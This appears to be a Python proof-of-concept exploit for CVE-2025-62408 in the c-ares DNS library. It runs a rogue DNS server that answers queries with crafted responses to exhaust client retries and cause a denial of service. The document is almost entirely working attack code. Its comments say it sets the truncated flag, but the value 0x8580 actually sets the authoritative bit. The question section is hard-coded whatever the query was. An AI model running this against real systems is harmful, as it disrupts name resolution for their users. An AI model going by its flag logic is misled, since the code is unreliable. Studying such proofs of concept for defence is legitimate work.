#!/usr/bin/env python3
# CVE-2025-62408 PoC - c-ares DoS via Malicious DNS Response
# This PoC demonstrates triggering the max retry condition
import socket
import struct
import time
def create_dns_response_with_flags(query_id, flags=0x8180):
"""Create a DNS response with specific flags to trigger the vulnerability."""
# DNS Header: ID, Flags, QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT
header = struct.pack('>HHHHHH',
query_id, # Transaction ID
flags, # Flags (RESPONSE, No error)
1, # Questions: 1
0, # Answer RRs: 0
0, # Authority RRs: 0
0 # Additional RRs: 0
)
# Query section
query = b'\x03www\x06example\x03com\x00' # www.example.com
query += struct.pack('>HH', 1, 1) # Type: A, Class: IN
return header + query
def dns_server(host='0.0.0.0', port=53):
"""Run malicious DNS server to trigger CVE-2025-62408."""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
print(f'[*] Malicious DNS server listening on {host}:{port}')
print('[*] Send responses with TRUNCATED flag to trigger max retries')
retry_count = {}
while True:
try:
data, addr = sock.recvfrom(512)
query_id = struct.unpack('>H', data[:2])[0]
# Track retry attempts
key = f'{addr}_{query_id}'
retry_count[key] = retry_count.get(key, 0) + 1
print(f'[*] Received query {query_id} from {addr}, attempt {retry_count[key]}')
# Send response with TC (Truncated) flag to force retries
# This triggers the max retry condition in c-ares
response = create_dns_response_with_flags(
query_id,
flags=0x8580 # Response with TC flag set
)
sock.sendto(response, addr)
print(f'[*] Sent malicious response #{retry_count[key]}')
# After 3+ attempts, c-ares should timeout and trigger vulnerability
if retry_count[key] >= 3:
print('[!] Max retries reached - vulnerability condition triggered')
except KeyboardInterrupt:
print('\n[*] Shutting down...')
break
except Exception as e:
print(f'[-] Error: {e}')
sock.close()
if __name__ == '__main__':
dns_server()